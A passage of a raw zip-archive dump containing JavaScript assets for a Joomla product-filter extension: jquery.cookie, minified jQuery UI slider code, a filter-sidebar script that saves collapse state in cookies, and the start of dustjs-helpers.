		} catch(e) {}
	}

	function read(s, converter) {
		var value = config.raw ? s : parseCookieValue(s);
		return $.isFunction(converter) ? converter(value) : value;
	}

	var config = $.cookie = function (key, value, options) {

		// Write

		if (arguments.length > 1 && !$.isFunction(value)) {
			options = $.extend({}, config.defaults, options);

			if (typeof options.expires === 'number') {
				var days = options.expires, t = options.expires = new Date();
				t.setMilliseconds(t.getMilliseconds() + days * 864e+5);
			}

			return (document.cookie = [
				encode(key), '=', stringifyCookieValue(value),
				options.expires ? '; expires=' +
options.expires.toUTCString() : '', // use expires attribute,
max-age is not supported by IE
				options.path    ? '; path=' + options.path : '',
				options.domain  ? '; domain=' + options.domain :
'',
				options.secure  ? '; secure' : ''
			].join(''));
		}

		// Read

		var result = key ? undefined : {},
			// To prevent the for loop in the first place assign an empty array
			// in case there are no cookies at all. Also prevents odd result when
			// calling $.cookie().
			cookies = document.cookie ? document.cookie.split('; ') : [],
			i = 0,
			l = cookies.length;

		for (; i < l; i++) {
			var parts = cookies[i].split('='),
				name = decode(parts.shift()),
				cookie = parts.join('=');

			if (key === name) {
				// If second argument (value) is a function it's a converter...
				result = read(cookie, value);
				break;
			}

			// Prevent storing a cookie that we couldn't decode.
			if (!key && (cookie = read(cookie)) !== undefined) {
				result[name] = cookie;
			}
		}

		return result;
	};

	config.defaults = {};

	$.removeCookie = function (key, options) {
		// Must not alter options, thus extending a fresh object...
		$.cookie(key, '', $.extend({}, options, { expires: -1 }));
		return !$.cookie(key);
	};

}));
PK�v�[G����V�Vassets/js/jquery-ui.min.jsnu�[���/*!
jQuery UI - v1.12.1 - 2016-10-13
* http://jqueryui.com
* Includes: widget.js, keycode.js, widgets/mouse.js, widgets/slider.js
* Copyright jQuery Foundation and other contributors; Licensed MIT */

(function(t){"function"==typeof
define&&define.amd?define(["jquery"],t):t(jQuery)})(function(t){t.ui=t.ui||{},t.ui.version="1.12.1";var
e=0,i=Array.prototype.slice;t.cleanData=function(e){return function(i){var
s,n,o;for(o=0;null!=(n=i[o]);o++)try{s=t._data(n,"events"),s&&s.remove&&t(n).triggerHandler("remove")}catch(a){}e(i)}}(t.cleanData),t.widget=function(e,i,s){var
n,o,a,r={},l=e.split(".")[0];e=e.split(".")[1];var
h=l+"-"+e;return
s||(s=i,i=t.Widget),t.isArray(s)&&(s=t.extend.apply(null,[{}].concat(s))),t.expr[":"][h.toLowerCase()]=function(e){return!!t.data(e,h)},t[l]=t[l]||{},n=t[l][e],o=t[l][e]=function(t,e){return
this._createWidget?(arguments.length&&this._createWidget(t,e),void
0):new
o(t,e)},t.extend(o,n,{version:s.version,_proto:t.extend({},s),_childConstructors:[]}),a=new
i,a.options=t.widget.extend({},a.options),t.each(s,function(e,s){return
t.isFunction(s)?(r[e]=function(){function t(){return
i.prototype[e].apply(this,arguments)}function n(t){return
i.prototype[e].apply(this,t)}return function(){var
e,i=this._super,o=this._superApply;return
this._super=t,this._superApply=n,e=s.apply(this,arguments),this._super=i,this._superApply=o,e}}(),void
0):(r[e]=s,void
0)}),o.prototype=t.widget.extend(a,{widgetEventPrefix:n?a.widgetEventPrefix||e:e},r,{constructor:o,namespace:l,widgetName:e,widgetFullName:h}),n?(t.each(n._childConstructors,function(e,i){var
s=i.prototype;t.widget(s.namespace+"."+s.widgetName,o,i._proto)}),delete
n._childConstructors):i._childConstructors.push(o),t.widget.bridge(e,o),o},t.widget.extend=function(e){for(var
s,n,o=i.call(arguments,1),a=0,r=o.length;r>a;a++)for(s in
o[a])n=o[a][s],o[a].hasOwnProperty(s)&&void
0!==n&&(e[s]=t.isPlainObject(n)?t.isPlainObject(e[s])?t.widget.extend({},e[s],n):t.widget.extend({},n):n);return
e},t.widget.bridge=function(e,s){var
n=s.prototype.widgetFullName||e;t.fn[e]=function(o){var
a="string"==typeof o,r=i.call(arguments,1),l=this;return
a?this.length||"instance"!==o?this.each(function(){var
i,s=t.data(this,n);return"instance"===o?(l=s,!1):s?t.isFunction(s[o])&&"_"!==o.charAt(0)?(i=s[o].apply(s,r),i!==s&&void
0!==i?(l=i&&i.jquery?l.pushStack(i.get()):i,!1):void
0):t.error("no such method '"+o+"' for
"+e+" widget instance"):t.error("cannot call methods on
"+e+" prior to initialization; "+"attempted to call
method '"+o+"'")}):l=void
0:(r.length&&(o=t.widget.extend.apply(null,[o].concat(r))),this.each(function(){var
e=t.data(this,n);e?(e.option(o||{}),e._init&&e._init()):t.data(this,n,new
s(o,this))})),l}},t.Widget=function(){},t.Widget._childConstructors=[],t.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{classes:{},disabled:!1,create:null},_createWidget:function(i,s){s=t(s||this.defaultElement||this)[0],this.element=t(s),this.uuid=e++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=t(),this.hoverable=t(),this.focusable=t(),this.classesElementLookup={},s!==this&&(t.data(s,this.widgetFullName,this),this._on(!0,this.element,{remove:function(t){t.target===s&&this.destroy()}}),this.document=t(s.style?s.ownerDocument:s.document||s),this.window=t(this.document[0].defaultView||this.document[0].parentWindow)),this.options=t.widget.extend({},this.options,this._getCreateOptions(),i),this._create(),this.options.disabled&&this._setOptionDisabled(this.options.disabled),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:function(){return{}},_getCreateEventData:t.noop,_create:t.noop,_init:t.noop,destroy:function(){var
e=this;this._destroy(),t.each(this.classesElementLookup,function(t,i){e._removeClass(i,t)}),this.element.off(this.eventNamespace).removeData(this.widgetFullName),this.widget().off(this.eventNamespace).removeAttr("aria-disabled"),this.bindings.off(this.eventNamespace)},_destroy:t.noop,widget:function(){return
this.element},option:function(e,i){var
s,n,o,a=e;if(0===arguments.length)return
t.widget.extend({},this.options);if("string"==typeof
e)if(a={},s=e.split("."),e=s.shift(),s.length){for(n=a[e]=t.widget.extend({},this.options[e]),o=0;s.length-1>o;o++)n[s[o]]=n[s[o]]||{},n=n[s[o]];if(e=s.pop(),1===arguments.length)return
void 0===n[e]?null:n[e];n[e]=i}else{if(1===arguments.length)return void
0===this.options[e]?null:this.options[e];a[e]=i}return
this._setOptions(a),this},_setOptions:function(t){var e;for(e in
t)this._setOption(e,t[e]);return
this},_setOption:function(t,e){return"classes"===t&&this._setOptionClasses(e),this.options[t]=e,"disabled"===t&&this._setOptionDisabled(e),this},_setOptionClasses:function(e){var
i,s,n;for(i in
e)n=this.classesElementLookup[i],e[i]!==this.options.classes[i]&&n&&n.length&&(s=t(n.get()),this._removeClass(n,i),s.addClass(this._classes({element:s,keys:i,classes:e,add:!0})))},_setOptionDisabled:function(t){this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!!t),t&&(this._removeClass(this.hoverable,null,"ui-state-hover"),this._removeClass(this.focusable,null,"ui-state-focus"))},enable:function(){return
this._setOptions({disabled:!1})},disable:function(){return
this._setOptions({disabled:!0})},_classes:function(e){function i(i,o){var
a,r;for(r=0;i.length>r;r++)a=n.classesElementLookup[i[r]]||t(),a=e.add?t(t.unique(a.get().concat(e.element.get()))):t(a.not(e.element).get()),n.classesElementLookup[i[r]]=a,s.push(i[r]),o&&e.classes[i[r]]&&s.push(e.classes[i[r]])}var
s=[],n=this;return
e=t.extend({element:this.element,classes:this.options.classes||{}},e),this._on(e.element,{remove:"_untrackClassesElement"}),e.keys&&i(e.keys.match(/\S+/g)||[],!0),e.extra&&i(e.extra.match(/\S+/g)||[]),s.join("
")},_untrackClassesElement:function(e){var
i=this;t.each(i.classesElementLookup,function(s,n){-1!==t.inArray(e.target,n)&&(i.classesElementLookup[s]=t(n.not(e.target).get()))})},_removeClass:function(t,e,i){return
this._toggleClass(t,e,i,!1)},_addClass:function(t,e,i){return
this._toggleClass(t,e,i,!0)},_toggleClass:function(t,e,i,s){s="boolean"==typeof
s?s:i;var n="string"==typeof
t||null===t,o={extra:n?e:i,keys:n?t:e,element:n?this.element:t,add:s};return
o.element.toggleClass(this._classes(o),s),this},_on:function(e,i,s){var
n,o=this;"boolean"!=typeof
e&&(s=i,i=e,e=!1),s?(i=n=t(i),this.bindings=this.bindings.add(i)):(s=i,i=this.element,n=this.widget()),t.each(s,function(s,a){function
r(){return
e||o.options.disabled!==!0&&!t(this).hasClass("ui-state-disabled")?("string"==typeof
a?o[a]:a).apply(o,arguments):void 0}"string"!=typeof
a&&(r.guid=a.guid=a.guid||r.guid||t.guid++);var
l=s.match(/^([\w:-]*)\s*(.*)$/),h=l[1]+o.eventNamespace,c=l[2];c?n.on(h,c,r):i.on(h,r)})},_off:function(e,i){i=(i||"").split("
").join(this.eventNamespace+"
")+this.eventNamespace,e.off(i).off(i),this.bindings=t(this.bindings.not(e).get()),this.focusable=t(this.focusable.not(e).get()),this.hoverable=t(this.hoverable.not(e).get())},_delay:function(t,e){function
i(){return("string"==typeof t?s[t]:t).apply(s,arguments)}var
s=this;return
setTimeout(i,e||0)},_hoverable:function(e){this.hoverable=this.hoverable.add(e),this._on(e,{mouseenter:function(e){this._addClass(t(e.currentTarget),null,"ui-state-hover")},mouseleave:function(e){this._removeClass(t(e.currentTarget),null,"ui-state-hover")}})},_focusable:function(e){this.focusable=this.focusable.add(e),this._on(e,{focusin:function(e){this._addClass(t(e.currentTarget),null,"ui-state-focus")},focusout:function(e){this._removeClass(t(e.currentTarget),null,"ui-state-focus")}})},_trigger:function(e,i,s){var
n,o,a=this.options[e];if(s=s||{},i=t.Event(i),i.type=(e===this.widgetEventPrefix?e:this.widgetEventPrefix+e).toLowerCase(),i.target=this.element[0],o=i.originalEvent)for(n
in o)n in i||(i[n]=o[n]);return
this.element.trigger(i,s),!(t.isFunction(a)&&a.apply(this.element[0],[i].concat(s))===!1||i.isDefaultPrevented())}},t.each({show:"fadeIn",hide:"fadeOut"},function(e,i){t.Widget.prototype["_"+e]=function(s,n,o){"string"==typeof
n&&(n={effect:n});var a,r=n?n===!0||"number"==typeof
n?i:n.effect||i:e;n=n||{},"number"==typeof
n&&(n={duration:n}),a=!t.isEmptyObject(n),n.complete=o,n.delay&&s.delay(n.delay),a&&t.effects&&t.effects.effect[r]?s[e](n):r!==e&&s[r]?s[r](n.duration,n.easing,o):s.queue(function(i){t(this)[e](),o&&o.call(s[0]),i()})}}),t.widget,t.ui.keyCode={BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38},t.ui.ie=!!/msie
[\w.]+/.exec(navigator.userAgent.toLowerCase());var
s=!1;t(document).on("mouseup",function(){s=!1}),t.widget("ui.mouse",{version:"1.12.1",options:{cancel:"input,
textarea, button, select,
option",distance:1,delay:0},_mouseInit:function(){var
e=this;this.element.on("mousedown."+this.widgetName,function(t){return
e._mouseDown(t)}).on("click."+this.widgetName,function(i){return!0===t.data(i.target,e.widgetName+".preventClickEvent")?(t.removeData(i.target,e.widgetName+".preventClickEvent"),i.stopImmediatePropagation(),!1):void
0}),this.started=!1},_mouseDestroy:function(){this.element.off("."+this.widgetName),this._mouseMoveDelegate&&this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(e){if(!s){this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(e),this._mouseDownEvent=e;var
i=this,n=1===e.which,o="string"==typeof
this.options.cancel&&e.target.nodeName?t(e.target).closest(this.options.cancel).length:!1;return
n&&!o&&this._mouseCapture(e)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){i.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(e)!==!1,!this._mouseStarted)?(e.preventDefault(),!0):(!0===t.data(e.target,this.widgetName+".preventClickEvent")&&t.removeData(e.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(t){return
i._mouseMove(t)},this._mouseUpDelegate=function(t){return
i._mouseUp(t)},this.document.on("mousemove."+this.widgetName,this._mouseMoveDelegate).on("mouseup."+this.widgetName,this._mouseUpDelegate),e.preventDefault(),s=!0,!0)):!0}},_mouseMove:function(e){if(this._mouseMoved){if(t.ui.ie&&(!document.documentMode||9>document.documentMode)&&!e.button)return
this._mouseUp(e);if(!e.which)if(e.originalEvent.altKey||e.originalEvent.ctrlKey||e.originalEvent.metaKey||e.originalEvent.shiftKey)this.ignoreMissingWhich=!0;else
if(!this.ignoreMissingWhich)return
this._mouseUp(e)}return(e.which||e.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(e),e.preventDefault()):(this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,e)!==!1,this._mouseStarted?this._mouseDrag(e):this._mouseUp(e)),!this._mouseStarted)},_mouseUp:function(e){this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,e.target===this._mouseDownEvent.target&&t.data(e.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(e)),this._mouseDelayTimer&&(clearTimeout(this._mouseDelayTimer),delete
this._mouseDelayTimer),this.ignoreMissingWhich=!1,s=!1,e.preventDefault()},_mouseDistanceMet:function(t){return
Math.max(Math.abs(this._mouseDownEvent.pageX-t.pageX),Math.abs(this._mouseDownEvent.pageY-t.pageY))>=this.options.distance},_mouseDelayMet:function(){return
this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}}),t.widget("ui.slider",t.ui.mouse,{version:"1.12.1",widgetEventPrefix:"slide",options:{animate:!1,classes:{"ui-slider":"ui-corner-all","ui-slider-handle":"ui-corner-all","ui-slider-range":"ui-corner-all
ui-widget-header"},distance:0,max:100,min:0,orientation:"horizontal",range:!1,step:1,value:0,values:null,change:null,slide:null,start:null,stop:null},numPages:5,_create:function(){this._keySliding=!1,this._mouseSliding=!1,this._animateOff=!0,this._handleIndex=null,this._detectOrientation(),this._mouseInit(),this._calculateNewMax(),this._addClass("ui-slider
ui-slider-"+this.orientation,"ui-widget
ui-widget-content"),this._refresh(),this._animateOff=!1},_refresh:function(){this._createRange(),this._createHandles(),this._setupEvents(),this._refreshValue()},_createHandles:function(){var
e,i,s=this.options,n=this.element.find(".ui-slider-handle"),o="<span
tabindex='0'></span>",a=[];for(i=s.values&&s.values.length||1,n.length>i&&(n.slice(i).remove(),n=n.slice(0,i)),e=n.length;i>e;e++)a.push(o);this.handles=n.add(t(a.join("")).appendTo(this.element)),this._addClass(this.handles,"ui-slider-handle","ui-state-default"),this.handle=this.handles.eq(0),this.handles.each(function(e){t(this).data("ui-slider-handle-index",e).attr("tabIndex",0)})},_createRange:function(){var
e=this.options;e.range?(e.range===!0&&(e.values?e.values.length&&2!==e.values.length?e.values=[e.values[0],e.values[0]]:t.isArray(e.values)&&(e.values=e.values.slice(0)):e.values=[this._valueMin(),this._valueMin()]),this.range&&this.range.length?(this._removeClass(this.range,"ui-slider-range-min
ui-slider-range-max"),this.range.css({left:"",bottom:""})):(this.range=t("<div>").appendTo(this.element),this._addClass(this.range,"ui-slider-range")),("min"===e.range||"max"===e.range)&&this._addClass(this.range,"ui-slider-range-"+e.range)):(this.range&&this.range.remove(),this.range=null)},_setupEvents:function(){this._off(this.handles),this._on(this.handles,this._handleEvents),this._hoverable(this.handles),this._focusable(this.handles)},_destroy:function(){this.handles.remove(),this.range&&this.range.remove(),this._mouseDestroy()},_mouseCapture:function(e){var
i,s,n,o,a,r,l,h,c=this,u=this.options;return
u.disabled?!1:(this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()},this.elementOffset=this.element.offset(),i={x:e.pageX,y:e.pageY},s=this._normValueFromMouse(i),n=this._valueMax()-this._valueMin()+1,this.handles.each(function(e){var
i=Math.abs(s-c.values(e));(n>i||n===i&&(e===c._lastChangedValue||c.values(e)===u.min))&&(n=i,o=t(this),a=e)}),r=this._start(e,a),r===!1?!1:(this._mouseSliding=!0,this._handleIndex=a,this._addClass(o,null,"ui-state-active"),o.trigger("focus"),l=o.offset(),h=!t(e.target).parents().addBack().is(".ui-slider-handle"),this._clickOffset=h?{left:0,top:0}:{left:e.pageX-l.left-o.width()/2,top:e.pageY-l.top-o.height()/2-(parseInt(o.css("borderTopWidth"),10)||0)-(parseInt(o.css("borderBottomWidth"),10)||0)+(parseInt(o.css("marginTop"),10)||0)},this.handles.hasClass("ui-state-hover")||this._slide(e,a,s),this._animateOff=!0,!0))},_mouseStart:function(){return!0},_mouseDrag:function(t){var
e={x:t.pageX,y:t.pageY},i=this._normValueFromMouse(e);return
this._slide(t,this._handleIndex,i),!1},_mouseStop:function(t){return
this._removeClass(this.handles,null,"ui-state-active"),this._mouseSliding=!1,this._stop(t,this._handleIndex),this._change(t,this._handleIndex),this._handleIndex=null,this._clickOffset=null,this._animateOff=!1,!1},_detectOrientation:function(){this.orientation="vertical"===this.options.orientation?"vertical":"horizontal"},_normValueFromMouse:function(t){var
e,i,s,n,o;return"horizontal"===this.orientation?(e=this.elementSize.width,i=t.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)):(e=this.elementSize.height,i=t.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)),s=i/e,s>1&&(s=1),0>s&&(s=0),"vertical"===this.orientation&&(s=1-s),n=this._valueMax()-this._valueMin(),o=this._valueMin()+s*n,this._trimAlignValue(o)},_uiHash:function(t,e,i){var
s={handle:this.handles[t],handleIndex:t,value:void
0!==e?e:this.value()};return
this._hasMultipleValues()&&(s.value=void
0!==e?e:this.values(t),s.values=i||this.values()),s},_hasMultipleValues:function(){return
this.options.values&&this.options.values.length},_start:function(t,e){return
this._trigger("start",t,this._uiHash(e))},_slide:function(t,e,i){var
s,n,o=this.value(),a=this.values();this._hasMultipleValues()&&(n=this.values(e?0:1),o=this.values(e),2===this.options.values.length&&this.options.range===!0&&(i=0===e?Math.min(n,i):Math.max(n,i)),a[e]=i),i!==o&&(s=this._trigger("slide",t,this._uiHash(e,i,a)),s!==!1&&(this._hasMultipleValues()?this.values(e,i):this.value(i)))},_stop:function(t,e){this._trigger("stop",t,this._uiHash(e))},_change:function(t,e){this._keySliding||this._mouseSliding||(this._lastChangedValue=e,this._trigger("change",t,this._uiHash(e)))},value:function(t){return
arguments.length?(this.options.value=this._trimAlignValue(t),this._refreshValue(),this._change(null,0),void
0):this._value()},values:function(e,i){var
s,n,o;if(arguments.length>1)return
this.options.values[e]=this._trimAlignValue(i),this._refreshValue(),this._change(null,e),void
0;if(!arguments.length)return
this._values();if(!t.isArray(arguments[0]))return
this._hasMultipleValues()?this._values(e):this.value();for(s=this.options.values,n=arguments[0],o=0;s.length>o;o+=1)s[o]=this._trimAlignValue(n[o]),this._change(null,o);this._refreshValue()},_setOption:function(e,i){var
s,n=0;switch("range"===e&&this.options.range===!0&&("min"===i?(this.options.value=this._values(0),this.options.values=null):"max"===i&&(this.options.value=this._values(this.options.values.length-1),this.options.values=null)),t.isArray(this.options.values)&&(n=this.options.values.length),this._super(e,i),e){case"orientation":this._detectOrientation(),this._removeClass("ui-slider-horizontal
ui-slider-vertical")._addClass("ui-slider-"+this.orientation),this._refreshValue(),this.options.range&&this._refreshRange(i),this.handles.css("horizontal"===i?"bottom":"left","");break;case"value":this._animateOff=!0,this._refreshValue(),this._change(null,0),this._animateOff=!1;break;case"values":for(this._animateOff=!0,this._refreshValue(),s=n-1;s>=0;s--)this._change(null,s);this._animateOff=!1;break;case"step":case"min":case"max":this._animateOff=!0,this._calculateNewMax(),this._refreshValue(),this._animateOff=!1;break;case"range":this._animateOff=!0,this._refresh(),this._animateOff=!1}},_setOptionDisabled:function(t){this._super(t),this._toggleClass(null,"ui-state-disabled",!!t)},_value:function(){var
t=this.options.value;return
t=this._trimAlignValue(t)},_values:function(t){var
e,i,s;if(arguments.length)return
e=this.options.values[t],e=this._trimAlignValue(e);if(this._hasMultipleValues()){for(i=this.options.values.slice(),s=0;i.length>s;s+=1)i[s]=this._trimAlignValue(i[s]);return
i}return[]},_trimAlignValue:function(t){if(this._valueMin()>=t)return
this._valueMin();if(t>=this._valueMax())return this._valueMax();var
e=this.options.step>0?this.options.step:1,i=(t-this._valueMin())%e,s=t-i;return
2*Math.abs(i)>=e&&(s+=i>0?e:-e),parseFloat(s.toFixed(5))},_calculateNewMax:function(){var
t=this.options.max,e=this._valueMin(),i=this.options.step,s=Math.round((t-e)/i)*i;t=s+e,t>this.options.max&&(t-=i),this.max=parseFloat(t.toFixed(this._precision()))},_precision:function(){var
t=this._precisionOf(this.options.step);return
null!==this.options.min&&(t=Math.max(t,this._precisionOf(this.options.min))),t},_precisionOf:function(t){var
e=""+t,i=e.indexOf(".");return-1===i?0:e.length-i-1},_valueMin:function(){return
this.options.min},_valueMax:function(){return
this.max},_refreshRange:function(t){"vertical"===t&&this.range.css({width:"",left:""}),"horizontal"===t&&this.range.css({height:"",bottom:""})},_refreshValue:function(){var
e,i,s,n,o,a=this.options.range,r=this.options,l=this,h=this._animateOff?!1:r.animate,c={};this._hasMultipleValues()?this.handles.each(function(s){i=100*((l.values(s)-l._valueMin())/(l._valueMax()-l._valueMin())),c["horizontal"===l.orientation?"left":"bottom"]=i+"%",t(this).stop(1,1)[h?"animate":"css"](c,r.animate),l.options.range===!0&&("horizontal"===l.orientation?(0===s&&l.range.stop(1,1)[h?"animate":"css"]({left:i+"%"},r.animate),1===s&&l.range[h?"animate":"css"]({width:i-e+"%"},{queue:!1,duration:r.animate})):(0===s&&l.range.stop(1,1)[h?"animate":"css"]({bottom:i+"%"},r.animate),1===s&&l.range[h?"animate":"css"]({height:i-e+"%"},{queue:!1,duration:r.animate}))),e=i}):(s=this.value(),n=this._valueMin(),o=this._valueMax(),i=o!==n?100*((s-n)/(o-n)):0,c["horizontal"===this.orientation?"left":"bottom"]=i+"%",this.handle.stop(1,1)[h?"animate":"css"](c,r.animate),"min"===a&&"horizontal"===this.orientation&&this.range.stop(1,1)[h?"animate":"css"]({width:i+"%"},r.animate),"max"===a&&"horizontal"===this.orientation&&this.range.stop(1,1)[h?"animate":"css"]({width:100-i+"%"},r.animate),"min"===a&&"vertical"===this.orientation&&this.range.stop(1,1)[h?"animate":"css"]({height:i+"%"},r.animate),"max"===a&&"vertical"===this.orientation&&this.range.stop(1,1)[h?"animate":"css"]({height:100-i+"%"},r.animate))},_handleEvents:{keydown:function(e){var
i,s,n,o,a=t(e.target).data("ui-slider-handle-index");switch(e.keyCode){case
t.ui.keyCode.HOME:case t.ui.keyCode.END:case t.ui.keyCode.PAGE_UP:case
t.ui.keyCode.PAGE_DOWN:case t.ui.keyCode.UP:case t.ui.keyCode.RIGHT:case
t.ui.keyCode.DOWN:case
t.ui.keyCode.LEFT:if(e.preventDefault(),!this._keySliding&&(this._keySliding=!0,this._addClass(t(e.target),null,"ui-state-active"),i=this._start(e,a),i===!1))return}switch(o=this.options.step,s=n=this._hasMultipleValues()?this.values(a):this.value(),e.keyCode){case
t.ui.keyCode.HOME:n=this._valueMin();break;case
t.ui.keyCode.END:n=this._valueMax();break;case
t.ui.keyCode.PAGE_UP:n=this._trimAlignValue(s+(this._valueMax()-this._valueMin())/this.numPages);break;case
t.ui.keyCode.PAGE_DOWN:n=this._trimAlignValue(s-(this._valueMax()-this._valueMin())/this.numPages);break;case
t.ui.keyCode.UP:case
t.ui.keyCode.RIGHT:if(s===this._valueMax())return;n=this._trimAlignValue(s+o);break;case
t.ui.keyCode.DOWN:case
t.ui.keyCode.LEFT:if(s===this._valueMin())return;n=this._trimAlignValue(s-o)}this._slide(e,a,n)},keyup:function(e){var
i=t(e.target).data("ui-slider-handle-index");this._keySliding&&(this._keySliding=!1,this._stop(e,i),this._change(e,i),this._removeClass(t(e.target),null,"ui-state-active"))}}})});PK�v�[l�Vassets/js/script.jsnu�[���function
initScript() {
	// accordion menu filter critirea
	jQuery('dt.filter-options-title').off().unbind().click(function()
{
		// do not use collapse with horizontal.
		if
(jQuery('.ja-mg-sidebar').hasClass('sb-horizontal'))
return false;
		//collapsed
		if (jQuery(this).hasClass('collapsed')) {
			jQuery(this).removeClass('collapsed');
			jQuery(this).next().slideDown( function() {
				recalc_sticky(jQuery('.sidebar-main'));
			});
		} else {
			jQuery(this).addClass('collapsed');
			jQuery(this).next().slideUp( function() {
				recalc_sticky(jQuery('.sidebar-main'));
			});
		}
		// save to cookie
		var arrTab = new Array();
		jQuery('dt.filter-options-title').each(function(i){
			arrTab[i] = jQuery(this).hasClass('collapsed');
		});
		jQuery.cookie(jQuery('.ja-mg-sidebar').data('mgfilter'),
arrTab);
		
	});
	
	// change layout product list.
	jQuery('.jamg-layout-chooser>span').off().unbind().click(function()
{
		jQuery('.jamg-layout-chooser>span').removeClass('active');
		jQuery('.jamg-layout-chooser>span[data-layout="'+jQuery(this).attr('data-layout')+'"]').addClass('active');
		jQuery('.ja-products-wrapper.products.wrapper')
			.removeClass('grid products-grid list products-list')
			.addClass(jQuery(this).attr('data-layout')+'
products-'+jQuery(this).attr('data-layout'));
		recalc_sticky(jQuery('.sidebar-main'));
		jQuery.event.trigger('jamg-layout-change');
		jamegafilter_default_result_view =
jQuery(this).attr('data-layout');
	});

	// default trigger change layout
	jQuery('.jamg-layout-chooser>span').removeClass('active');
	jQuery('.jamg-layout-chooser>span[data-layout="'+jamegafilter_default_result_view+'"]').addClass('active');
	jQuery('.ja-products-wrapper.products.wrapper')
		.removeClass('grid products-grid list products-list')
		.addClass(jamegafilter_default_result_view+'
products-'+jamegafilter_default_result_view);

	// trigger collapse critirie
	if
(!jQuery.cookie(jQuery('.ja-mg-sidebar').data('mgfilter')))
{
		jQuery.cookie(jQuery('.ja-mg-sidebar').data('mgfilter'),
'');
	}

	// do not use collapse with horizontal.
	if
(!jQuery('.ja-mg-sidebar').hasClass('sb-horizontal')
&& jQuery('.ja-mg-sidebar').data('mgfilter')) {
		var data =
jQuery.cookie(jQuery('.ja-mg-sidebar').data('mgfilter'));
		arrTab = data.split(',');

		jQuery('dt.filter-options-title').each(function(i){
			if (arrTab[i] == "true") {
				jQuery(this).addClass('collapsed');
				jQuery(this).next().slideUp( function() {
					recalc_sticky(jQuery('.sidebar-main'));
				});
			}
		});
	}
	
	// default order Class
	addFilterWarperClass(undefined);
    jQuery('.ja-megafilter-wrap .ja-toolbar-wrapper
select').chosen({
        disable_search_threshold: 10,
        placeholder_text_multiple:
Joomla.JText._('COM_JAMEGAFILTER_MULTIPLE_SELECT_PLACEHOLDER')
    });
}

function addFilterWarperClass(ele) {
	if (ele === undefined) {
		ele = jQuery('.sorter-options');
		// in case the site custom remove the sorting.
		if (!ele.length)
			return;
	}

	ele.find('option').each(function(){
		var _class =
jQuery(this).attr('value').replace('attr.',
'').replace('.frontend_value', '');
		jQuery('.ja-megafilter-wrapper,
.ja-megafilter-wrap').removeClass('ja-'+_class);
	});
	var _class = ele.val().replace('attr.',
'').replace('.frontend_value', '');
	jQuery('.ja-megafilter-wrapper,
.ja-megafilter-wrap').addClass('ja-'+_class);
}

function openShift(obj) {
	jQuery(obj).parent().parent().find('li:hidden').show();
	jQuery(obj).hide();
}

function recalc_sticky(elem) {
	if (typeof elem.stick_in_parent === 'function') {
		elem.trigger('sticky_kit:recalc');
	}
};PK�v�[��:ZZassets/js/dust-helpers.min.jsnu�[���/*!
dustjs-helpers - v1.7.3
* http://dustjs.com/
* Copyright (c) 2015 Aleksander Williams; Released under the MIT License */
!function(a,b){"function"==typeof
define&&define.amd&&define.amd.dust===!0?define(["dust.core"],b):"object"==typeof
exports?module.exports=b(require("dustjs-linkedin")):b(a.dust)}(this,function(dust){function
a(a,b,c){c=c||"INFO",a=a?"{@"+a+"}:
":"",dust.log(a+b,c)}function
b(b){k[b]||(a(b,"Deprecation warning: "+b+" is deprecated
and will be removed in a future version of
dustjs-helpers","WARN"),a(null,"For help and a
deprecation timeline, see
https://github.com/linkedin/dustjs-helpers/wiki/Deprecated-Features#"+b.replace(/\W+/g,""),"WARN"),k[b]=!0)}function
c(a){return
a.stack.tail&&a.stack.tail.head&&"undefined"!=typeof
a.stack.tail.head.__select__}function d(a){return
c(a)&&a.get("__select__")}function e(a,b){var
c,d=a.stack.head,e=a.rebase();a.stack&&a.stack.tail&&(e.stack=a.stack.tail);var
f={isPending:!1,isResolved:!1,isDeferredComplete:!1,deferreds:[]};for(c in
b)f[c]=b[c];return
e.push({__select__:f}).push(d,a.stack.index,a.stack.of)}function f(a){var
b,c;if(a.isDeferredPending=!0,a.deferreds.length)for(a.isDeferredComplete=!0,b=0,c=a.deferreds.length;c>b;b++)a.deferreds[b]();a.isDeferredPending=!1}function
g(a,b){return"function"==typeof
b?b.toString().replace(/(^\s+|\s+$)/gm,"").replace(/\n/gm,"").replace(/,\s*/gm,",
").replace(/\)\{/gm,") {"):b}function h(a,b){return
function(c,d,e,f){return i(c,d,e,f,a,b)}}function i(b,c,e,f,g,h){var
i,k,l,m,n=e.block,o=e["else"],p=d(c)||{};if(p.isResolved&&!p.isDeferredPending)return
b;if(f.hasOwnProperty("key"))k=f.key;else{if(!p.hasOwnProperty("key"))return
a(g,"No key specified","WARN"),b;k=p.key}return
m=f.type||p.type,k=j(c.resolve(k),m),l=j(c.resolve(f.value),m),h(k,l)?(p.isPending||(i=!0,p.isPending=!0),n&&(b=b.render(n,c)),i&&(p.isResolved=!0)):o&&(b=b.render(o,c)),b}function
j(a,b){switch(b&&(b=b.toLowerCase()),b){case"number":return+a;case"string":return
String(a);case"boolean":return
a="false"===a?!1:a,Boolean(a);case"date":return new
